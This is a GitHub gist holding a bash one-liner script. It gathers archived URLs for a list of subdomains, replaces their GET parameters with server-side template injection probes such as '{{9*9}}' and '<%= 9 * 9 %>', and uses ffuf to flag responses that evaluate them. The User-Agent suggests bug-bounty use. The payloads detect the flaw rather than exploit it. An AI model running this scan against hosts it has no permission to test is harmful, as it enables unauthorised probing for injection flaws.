Created
January 20, 2021 21:17
-
-
Save minkione/73c801f788b57f7a865c1af7f8028f86 to your computer and use it in GitHub Desktop.
Pass in a file containing subdomains. Replaces GET params with daman{{9*9}} and checks if it executes
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
while read Line | |
do | |
echo "|||$Line" | |
# First grab the subdomain and check wayback for urls | |
# Replace each GET param in each URL with the template injection | |
# Use ffuf to request the URL and check if daman81 is in the response | |
waybackurls "$Line" | sort -u | qsreplace -a 2> /dev/null | qsreplace "rce<%= 9 * 9 %>rce{{9*9}}rce{{9*'9'}}rce#{9*9}" 2> /dev/null | grep rce > temp_file.txt && ffuf -u FUZZ -s -w temp_file.txt -mr "rce81|rce999999999" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0)HackerOne Gecko/20100101 Firefox/81.0" | |
done < "${1:-/dev/stdin}" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment